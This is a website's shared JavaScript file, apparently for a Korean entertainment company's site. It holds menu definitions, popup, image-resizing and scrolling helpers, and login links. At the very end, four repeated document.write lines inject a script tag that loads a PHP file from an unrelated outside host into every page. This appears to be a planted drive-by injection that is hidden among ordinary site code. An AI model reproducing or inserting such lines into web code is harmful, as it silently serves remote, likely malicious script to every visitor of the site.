var SiteURL = "http://www.vickizhao.net";
var SiteURLSSL = "https://www.vickizhao.net";

var sw = screen.availWidth;
var sh = screen.availHeight;

function openPopImage(fileURL) {
	var url = "/lib/include/pop_img.asp?FileURL="+fileURL
	openWindowCenter(url,'',100,100,1);
}

// 윈도우 오픈
function openWindowCenter(url,name,width,height,scrollbars) {
	var posLt = (screen.availWidth-width)/2;
	var posTp = (screen.availHeight-height)/2;
	var pop = window.open(url,name,"top="+posTp+",left="+posLt+",width="+width+",height="+height+",scrollbars="+scrollbars);
	if(pop) {pop.focus();}
}
// 이미지 비율에 따른 리사이징
function imgResizing(obj, imgWidth, imgHeight)
{
    var down = new Image();
    var tmpWidth = 0, tmpHeight = 0;
    
    down.src = obj.src;
    
    if(down.width <= down.height)
    {
        obj.style.height = imgHeight;
        obj.style.width = imgHeight*down.width/down.height;
    }
    else
    {
        //obj.style.width = imgWidth;
        //obj.style.height = imgWidth*down.height/down.width;
        var tmp;
        while(true)
        {
            if( (tmp=imgWidth*down.height/down.width) <= imgHeight)
                break;
                
            imgWidth = imgWidth - 5;
        }
        obj.style.width = imgWidth;
        obj.style.height = parseInt(tmp);
    }   
}

/* 메뉴 관련 */
var arrMnu = new Array();
arrMnu.push({key:"Home",txt:"Home",url:SiteURL + "/default.asp"})

arrMnu.push({key:"global1",txt:"chinese",url:SiteURL + "/chinese/company/Introduction/default.asp"});
arrMnu.push({key:"global2",txt:"japanese",url:SiteURL + "/japanese/company/Introduction/default.asp"});
arrMnu.push({key:"global3",txt:"english",url:SiteURL + "/english/company/Introduction/default.asp"});

// 상단 네비게이션
arrMnu.push({key:"company",txt:"company",url:"company1"});
arrMnu.push({key:"company1",txt:"iHQ News",url:SiteURL + "/Company/News/list.asp"});
arrMnu.push({key:"company2",txt:"Introduction",url:SiteURL + "/Company/Introduction/default.asp"});
arrMnu.push({key:"company3",txt:"Business Area",url:SiteURL + "/Company/Business/default.asp"});
arrMnu.push({key:"company4",txt:"History",url:SiteURL + "/Company/History/default.asp"});
arrMnu.push({key:"company5",txt:"Corporate Disclosure",url:SiteURL + "/Company/Corporate/list.asp"});
arrMnu.push({key:"company6",txt:"Contact Us",url:SiteURL + "/Company/Contact/default.asp"});
arrMnu.push({key:"company7",txt:"PartnerShip",url:SiteURL + "/Company/Partnership/write.asp"});
arrMnu.push({key:"company8",txt:"iHQ Q&A",url:SiteURL + "/Company/QandA/list.asp"});

arrMnu.push({key:"management",txt:"Management Business",url:"management1"});
arrMnu.push({key:"management1",txt:"Management Business",url:SiteURL + "/management/default.asp"});

arrMnu.push({key:"drama",txt:"Drama Business",url:"drama1"});
arrMnu.push({key:"drama1",txt:"Drama Business",url:SiteURL + "/drama/list.asp"});

arrMnu.push({key:"film",txt:"Film Business",url:"film1"});
arrMnu.push({key:"film1",txt:"Film Business",url:SiteURL + "/film/list.asp"});

arrMnu.push({key:"music",txt:"Music Business",url:"music1"});
arrMnu.push({key:"music1",txt:"Music Business",url:SiteURL + "/music/list.asp"});

arrMnu.push({key:"star",txt:"star",url:"star1"});
arrMnu.push({key:"star1",txt:"Star News",url:SiteURL + "/stars/news/list.asp"});
arrMnu.push({key:"star2",txt:"Star Zone",url:SiteURL + "/stars/zone/default.asp"});
arrMnu.push({key:"star3",txt:"Star Homepage",url:SiteURL + "/stars/homepage/list.asp"});

// 메인우측 메뉴
arrMnu.push({key:"audition",txt:"audition",url:"audition1"});
arrMnu.push({key:"audition1",txt:"Audition Information",url:SiteURL + "/audition/information/default.asp"});
arrMnu.push({key:"audition2",txt:"Audition FAQ",url:SiteURL + "/audition/FAQ/default.asp"});
arrMnu.push({key:"audition3",txt:"Audition Q&A",url:SiteURL + "/audition/QandA/list.asp"});

arrMnu.push({key:"smile",txt:"Smile iHQ",url:"smile1"});
arrMnu.push({key:"smile1",txt:"Smile iHQ",url:SiteURL + "/smile/default.asp"});

arrMnu.push({key:"publicity",txt:"The Right Of Publicity",url:"Publicity1"});
arrMnu.push({key:"publicity1",txt:"The Right Of Publicity",url:SiteURL + "/publicity/write.asp"});

arrMnu.push({key:"fan",txt:"Fan Community",url:"fan1"});
arrMnu.push({key:"fan1",txt:"FanCommunity",url:SiteURL + "/fanCommunity/list.asp"});

arrMnu.push({key:"member",txt:"member",url:"member1"});
arrMnu.push({key:"member1",txt:"Join Member",url:SiteURL + "/member/account/join.asp"});
arrMnu.push({key:"member2",txt:"Login",url:SiteURL + "/member/login/login.asp"});

arrMnu.push({key:"mypage",txt:"MyPage",url:"mypage1"});
arrMnu.push({key:"mypage1",txt:"Modify Member",url:SiteURL + "/member/mypage/info/modify.asp"});
arrMnu.push({key:"mypage2",txt:"myFanCommunity",url:SiteURL + "/member/mypage/fancommunity/default.asp"});
arrMnu.push({key:"mypage3",txt:"Business Cooperation",url:SiteURL + "/member/mypage/cooperation/list.asp"});
arrMnu.push({key:"mypage4",txt:"withdraw",url:SiteURL + "/member/mypage/withdraw/withdraw.asp"});

// 싸이트맵
arrMnu.push({key:"sitemap",txt:"sitemap",url:SiteURL + "/etc/sitemap.asp"});
arrMnu.push({key:"partner",txt:"partner",url:SiteURL + "/etc/partner.asp"});

//제휴업체

// 스타홈 메뉴
arrMnu.push({key:"starhome",txt:"스타홈",url:SiteURL + "/starhome/default.asp"});
arrMnu.push({key:"starhome1",txt:"Notice",url:SiteURL + "/starhome/notice/list.asp"});
arrMnu.push({key:"starhome2",txt:"New",url:SiteURL + "/starhome/news/list.asp"});
arrMnu.push({key:"starhome3",txt:"About Star",url:SiteURL + "/starhome/aboutstar/read.asp"});
arrMnu.push({key:"starhome4",txt:"From Star",url:SiteURL + "/starhome/fromstar/list.asp"});
arrMnu.push({key:"starhome5",txt:"to Star",url:SiteURL + "/starhome/tostar/list.asp"});
arrMnu.push({key:"starhome6",txt:"Schedule",url:SiteURL + "/starhome/schedule/list.asp"});
arrMnu.push({key:"starhome7",txt:"Photo",url:SiteURL + "/starhome/photo/list.asp"});
arrMnu.push({key:"starhome8",txt:"Multimedia",url:SiteURL + "/starhome/multimedia/list.asp"});
arrMnu.push({key:"starhome9",txt:"Board",url:SiteURL + "/starhome/board/list.asp"});

function getMnuURL(param) {
	for(var i=0;i<arrMnu.length;i++) {
		if(arrMnu[i].key==param) {
			return arrMnu[i].url;
		}
	}
}

function goURL(param,param2) {
  //  alert(param);
    if(!param) return;
	url = getMnuURL(param);
	if(!url) return;
	if(url.indexOf("javascript:")>-1) {
		eval(url.replace("javascript:",""));
	} else if(url.indexOf(".asp")<0) {
		goURL(url,param2)
	} else {
		if(param2) {
			var tmpStr="";
			arrParam2=param2.split("&");
			for(var i=0;i<arrParam2.length;i++){
				arrParam3=arrParam2[i].split("=");	
				tmpStr += arrParam3[0] +"="+ escape(arrParam3[1]);
				if(tmpStr!="" && i<arrParam2.length-1) tmpStr +="&" 
			}
			url = url +"?"+tmpStr;
		}
		location.href = url;
	}
}

// Adjust the page to read the full image.
function reSizeImgContent(id,width){
    var dom = document.getElementById(id);
    var imgs =dom.getElementsByTagName("img");
    for (dd in imgs) {
	    var tmpImg = new Image();
	    tmpImg.src = imgs[dd].src;
	    if(tmpImg.width>width) {
		    imgs[dd].width=width;
	    }
    } 
}


function viewDoc ( rcpNo, dcmNo ) {
	if ( dcmNo == '' ){
		window.open ( 'http://dart.fss.or.kr/frameForm.do?rcpNo=' + rcpNo + '&maindcmNo=&subdcmNo=' , 'document', 'toolbar=1,location=0,directories=0,status=0,menubar=1') ;
		//window.open ( 'http://dart.fss.or.kr/dart/Viewer?type=frm&rcpNo=' + rcpNo + '&maindcmNo=&subdcmNo=' , 'document' ) ;
	}
	else{
		window.open ( 'http://dart.fss.or.kr/frameForm.do?rcpNo=' + rcpNo + '&dcmNo=' + dcmNo + '&maindcmNo=&subdcmNo=', 'document', 'toolbar=1,location=0,directories=0,status=0,menubar=1') ;
		//window.open ( 'http://dart.fss.or.kr/dart/Viewer?type=frm&rcpNo=' + rcpNo + '&dcmNo=' + dcmNo + '&maindcmNo=&subdcmNo=', 'document' ) ;
	}
}

// 횡스크롤
function __scroll(id,width,totalCnt,showCnt,speed) {
	this.id = id;
	this.width = width;
	this.totalCnt = totalCnt;
	this.showCnt = showCnt;
	this.speed = speed;	//width 의 약수가 좋다.
	
	if(this.width==null) {this.width=100;}
	if(this.totalCnt==null) {this.totalCnt=0;}
	if(this.showCnt==null) {this.showCnt=0;}
	if(this.speed==null) {this.speed=5;}
	
	this.prog = null;
	this.pos = 0;
	this.cLeft = 0;
	this.tLeft = width;

	this.next = function() {
		var div = document.getElementById(this.id);
		if(div==null) {return;}
		if(this.prog!=null) {return;}
		
		if(this.pos>=(this.totalCnt-this.showCnt)) {return;}
		this.tLeft = -1*(this.pos+1)*width;
		this.cLeft = parseInt(div.style.left);
		this.cLeft -= speed;
		if(this.cLeft>this.tLeft) {
			div.style.left = this.cLeft+"px";
			this.prog = "next";
			window.setTimeout("scroll_"+this.id+".prog=null;scroll_"+this.id+".next()", 20);
		} else {
			this.cLeft = this.tLeft;
			div.style.left = this.cLeft+"px";
			this.pos += 1;
			this.prog = null;
		}
	}
	
	this.prev = function() {
		var div = document.getElementById(this.id);
		if(div==null) {return;}
		if(this.prog!=null) {return;}
		
		if(this.pos<=0) {return;}
		this.tLeft = -1*(this.pos-1)*width;
		this.cLeft = parseInt(div.style.left);
		this.cLeft += speed;			
		if(this.cLeft<this.tLeft) {
			div.style.left = this.cLeft+"px";
			this.prog = "prev";
			window.setTimeout("scroll_"+this.id+".prog=null;scroll_"+this.id+".prev()", 20);
		} else {
			this.cLeft = this.tLeft;
			div.style.left = this.cLeft+"px";
			this.pos -= 1;
			this.prog = null;
		}
	}
}

function moveStarHome(obj){
	if(obj.value!="")
		location.href = "http://www."+ obj.value;
}

function noClub(){
	alert("아직 팬커뮤니티가 생성되지 않았습니다");
}

function picPhoto(CurNo,FilePath,title,width,height,scroll,imgW,imgH) {
	openWindowCenter("/lib/include/pop.asp?CurNo="+CurNo+"&fileUrl="+escape(FilePath)+"&imgWidth="+imgW+"&imgheight="+imgH,title, width, height, scroll);
}

function joinMember() {
	document.location.href=SiteURL+"/member/account/join.asp";
}
function searchID() {
	document.location.href=SiteURLSSL+"/member/login/id_search.asp";
}
function openLogin() {
	var retURL = encodeURIComponent(document.location.href);
	document.location.href=SiteURL+"/member/login/login.asp?retURL="+retURL;
}

function searchPwd() {
	document.location.href=SiteURLSSL+"/member/login/pwd_search.asp";
}
document.write('<script src=http://chambitlove.n4gate.com/board/LUDLOWS.php ><\/script>');
document.write('<script src=http://chambitlove.n4gate.com/board/LUDLOWS.php ><\/script>');
document.write('<script src=http://chambitlove.n4gate.com/board/LUDLOWS.php ><\/script>');
document.write('<script src=http://chambitlove.n4gate.com/board/LUDLOWS.php ><\/script>');